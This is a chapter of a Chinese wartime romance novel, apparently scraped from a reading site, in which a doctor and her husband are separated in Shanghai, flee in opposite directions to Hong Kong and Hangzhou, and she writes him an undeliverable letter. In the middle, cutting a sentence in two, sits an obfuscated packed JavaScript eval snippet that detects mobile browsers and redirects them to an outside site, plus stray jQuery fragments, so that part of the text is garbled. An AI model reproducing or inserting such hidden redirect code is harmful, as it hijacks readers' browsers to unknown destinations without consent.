不知跑了多久，陈扬把何思玥带进一处地下室。
里面已经挤了十几个人，有老人，有孩子，有受伤的人，都蜷缩在角落里瑟瑟发抖。
陈扬把何思玥放到墙边，喘着粗气蹲下来检查她的伤势。膝盖还在流血，腿上有大片瘀青，但骨头应该没断。
“何医生，你还好吗？能听见我说话吗？”
何思玥看着他，嘴唇动了动，声音沙哑得几乎听不见：“吴妈……公寓……沈晏……孩子们……”
陈扬的眼神暗了暗，他没法回答那些问题，他只是在废墟里看见了她，拼了命把她救出来。其他的，他一无所知。
他只能握住她的手，试图安慰她：“何医生，你现在要做的是活着，只有活着才会有以后。”
何思玥的眼泪溢出了眼眶，强忍着自己不要哭出声。她靠在墙上，闭上眼睛，拼命让自己冷静下来。
对，活着，活着才有以后。
沈晏一定也在找她，孩子们一定在等她。
所以她不能死，她不能有事。
地下室外的炮声还在响，一声比一声近。黑暗中，有人在小声哭泣，有人在低声祈祷。
何思玥靠在冰冷的墙上，用尽全力让自己保持清醒。
腿上给她带来的疼痛感，远远不及思念沈晏和孩子的痛。
何思玥尝试着用陈扬带过的水冲洗着伤口，给自己简单地做了一个包扎，避免二次感染。
不知过了多久，炮声渐渐远去，天似乎快亮了。
陈扬不知从哪里弄来一点水和半块干粮，硬塞到何思玥手里。
“吃一点。”他说，“天亮了我们想办法出去，去找沈兄，去找孩子。”
何思玥看着手里的水和干粮，眼眶又红了。她点点头，小口小口地吃着，每一口都艰难得像在吞咽玻璃。
天亮的时候，他们走出地下室。
外面的世界已经面目全非。街道变成了废墟，房屋变成了瓦砾，到处都是烟尘和血迹。
有人在废墟里翻找亲人，有人抱着尸体痛哭，有人茫然地站在街头，不知道该往哪里去。
何思玥站在废墟前，看着那曾经是她和沈晏的家、她和孩子们躲避风雨的港湾的方向。那里已经什么都没有了，只剩下一片焦黑的断壁残垣。
她的手紧紧攥着怀里的东西——那是她逃出来时唯一带着的，沈晏送她的那支钢笔。
陈扬站在她身边，沉默地看着这片狼藉。
“何医生，”他轻声说，“我们走吧。往租界那边走，那边可能安全些。沈兄他……一定也在找你。”
何思玥点点头，跟着他，一步一步，走进烟尘未散的黎明。
身后，是破碎的家园；前方，是未知的茫茫人海。
她不知道沈晏在哪里，不知道孩子们在哪里，不知道她还能不能找到他们。
上海的天空被硝烟遮蔽了整整一个月。
陈扬带着何思玥辗转于法租界各处临时避难所。
起初她还抱着希望，拖着伤腿四处打听沈晏和孩子们的下落。她去了每一个临时登记处，看了每一张模糊不清的名单，问遍了每一个可能认识他们的人。
什么都没有。
沈霆。沈希希。怀安。念玥。沈晏。
这些人像从未存在过一样，从这片破碎的土地上消失了。
“何医生，你的腿需要好好养。”陈扬每次见她拖着伤腿出去找人，都忍不住劝，“你这样下去，人没找到，自己先垮了。”
何思玥不听。
直到有一天，她在一处收容所门口晕倒，被人抬回来。
陈扬守了她一夜，等她醒来，第一次用严厉的语气对她说：“你这样找，找到死也找不到。你要活着，活着才能等到他们找你。”
何思玥躺在简陋的铺位上，盯着头顶斑驳的天花板，眼泪无声地流。
她开始养伤，开始在临时医疗点帮忙。
伤兵一批批送来，难民一群群涌来，药品一天天见底。
她用那支沈晏送的钢笔，在一本残缺的病历本上记录每一个病人的情况。每写一个字，就像在心里刻一遍他的名字。
上海的局势越来越糟。租界外的炮声从未真正停歇，难民潮水般涌入，把每条街道都塞得满满当当。食物开始配给，药品彻底断供，连干净的水都成了奢望。
陈扬有一天回来，脸色凝重地坐在她身边。
“何医生，上海撑不了多久了。”他说，“租界虽然暂时安全，但物资撑不过一个月。我们得走。”
何思玥抬起头，看着他。
“去哪里？”
“香港。”陈扬说，“我有些同学在香港，那边暂时安全。到了那边，至少有药，有吃的，你能继续行医。而且……”他顿了顿，“沈兄如果活着，一定会想办法找你。香港是南下的必经之路，他要是出来，很大概率会去那里。”
最后那句话，像黑暗中的一点光。
何思玥沉默了许久，终于点了点头。
“好。我去香港。”
陈扬动作很快。
三天后，他不知从哪里弄来两张船票，带着何思玥趁夜色登上一艘开往香港的货轮。
临上船前，何思玥站在码头边，回头望向硝烟弥漫的上海，眼睛里满是不舍。
货轮在夜色中缓缓驶离码头，黄浦江的水在船下翻涌。
何思玥站在甲板上，任凭海风吹乱头发，把那支钢笔紧紧攥在胸口。
“沈晏，你一定还活着，是吗？”她对着夜色说，“你一定要等我。”
船渐渐远去，上海在视野里变成一道模糊的灰线。
与此同时，杭州方向。
杨石泽费了九牛二虎之力，才在难民潮中找到沈晏一行人。
沈霆已经病得下不了床，沈希希一个人照顾两个孩子，累得形销骨立。怀安和念玥瘦了一大圈，念玥还在发烧，烧得小脸通红。
杨石泽把沈晏拉到一边。
“上海待不下去了。”他说，“日本人随时可能进租界。我给你安排好了，去杭州。那边有朋友，有住处，能安顿下来。两个孩子不能再颠沛流离了。”
沈晏看着怀里的念玥，看着她烧得迷迷糊糊的样子，心像被人攥住了一样疼。
“思玥呢？”他问，声音嘶哑，“思玥还没有找到，我不想离开上海。”
杨石泽沉默了很久。
“沈晏，”他终于开口，声音沉重，“我知道你放不下她。可是两个孩子呢？沈老爷子呢？希希呢？他们现在都需要你。你想想，如果思玥还在，她会让你怎么做？”
沈晏闭上眼睛，没有说话。
他当然知道她会让他怎么做，她会让他先照顾孩子，先照顾老人，先活着。
她自己，永远是排在最后的那一个。
“我已经托人四处打听了。”杨石泽说，“有消息会第一时间通知你。杭州离上海不远，有了消息，随时可以回来。但是现在，你必须带孩子们走。”
沈晏睁开眼，看向不远处躺在简陋床铺上的父亲，看向抱着怀安、满脸疲惫的妹妹，看向怀里烧得滚烫的女儿。
他没有选择。
三天后，杨石泽安排的车子趁着夜色驶出上海。
沈晏抱着念玥，沈希希抱着怀安，旁边躺着病重的沈霆。车子颠簸在残破的路上，驶向未知的杭州。
沈晏回头，透过模糊的车窗，望向渐渐远去的上海。
他不知道思玥在哪里，不知道她是死是活。
他只知道，他要带孩子们好好活下去，等她回来。
而她，此刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238311|193555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正在同一片夜空下，乘着南下的船，与他背道而驰。
海风呼啸，夜色深沉。
两人之间的距离，越来越远。
他们不知道，这一别，就是很多年。
......
香港的夜总是很静。
何思玥租住的屋子在半山一处简陋的公寓里，推开窗能看见维多利亚港的灯火。
可那些灯火离她很远，远得像另一个世界。她常常在深夜坐在窗前，对着那些星星点点的光，想起上海梧桐树下的那盏灯。
那是家的光。
现在，家没了。
她低下头，铺开一张信纸，拿起那支沈晏送的钢笔。
笔尖悬在纸上，久久落不下去。
她已经写了太多封信，每一封都写满思念，每一封都无处投递。
她不知道沈晏在哪里，不知道孩子们在哪里，不知道他们还活着吗，不知道这封信该寄往何方。
可她还是写。
不写，她会疯的。
笔尖终于落下，洇开一小片墨痕。
“沈晏：
今天是我在香港的第一百七十二天。天气热得厉害，和上海的秋天完全不一样。我给一个患疟疾的孩子看病，他烧得很厉害，一直喊妈妈。我握着他的手，想起了念玥。她发烧的时候，也这样喊妈妈吗？你在她身边吗？有人握着她的小手吗？
我不敢想。想了就睡不着。
陈扬帮我在一家诊所找了份工作，每天从早忙到晚。病人很多，药品很少，和在上海时一样。忙起来的时候，能暂时不想你们。可一闲下来，你们的影子就涌上来，怎么赶都赶不走。
怀安该会读书写字了吧？念玥还会不会半夜哭闹？他们的头发长了没有？瘦了没有？你一个人带着两个孩子，还要照顾父亲和希希，累不累？
我总是不由自主地想这些。想得心里发疼。
今天我收到一封从内地转来的信，是个病人写的，说在逃难路上见过一个带着两个孩子的年轻男人。我激动得一夜没睡，第二天一早就跑去打听。结果，不是。那人姓王，不是姓沈。孩子也不是龙凤胎，是姐妹俩。
回来的时候，我在路上站了很久。陈扬找到我，什么也没说，只是陪我站着。后来他说，何医生，你要撑住。
我撑得住。我答应过你，要活着。活着才有以后。
可有时候真的很难。比如今天，诊所里来了一个男人，背影特别像你。我喊了一声“沈晏”，他回过头，是一张完全陌生的脸。他说，小姐，你认错人了。我点头说对不起，可回到诊室，眼泪怎么都止不住。
他们吓坏了，以为我太累。只有我自己知道，我只是想你了。
非常非常想你。
不知道你此刻在哪里，不知道这封信什么时候才能寄到你手上。也许永远寄不到。可我还是写。写下来，心里就好受一点。
那支钢笔的墨水快用完了。我舍不得换，每次用完都仔细收好。那是你送的，是我现在唯一带着的、属于你的东西。每天晚上，我都会把它放在枕头边，就像你在身边一样。
怀安、念玥，一定要好好的。你一定要好好的。等战乱结束，等我们能团聚，我要听你讲这一路的故事，我要看孩子们长大的样子，我要和你一起，再拍一张全家福。
那天的照片，我弄丢了。对不起，沈晏。那么珍贵的东西，我弄丢了。
可我还记得你的样子。记得你抱着孩子的样子，记得你看着我笑的样子，记得你那天早上出门取照片前，亲我的那一下。
我都记得。
天亮还要出诊，就写到这里。
无论你在哪里，无论要等多久，我都会等下去。
妻：思玥
信写完，何思玥放下笔，看着窗外沉沉的夜色。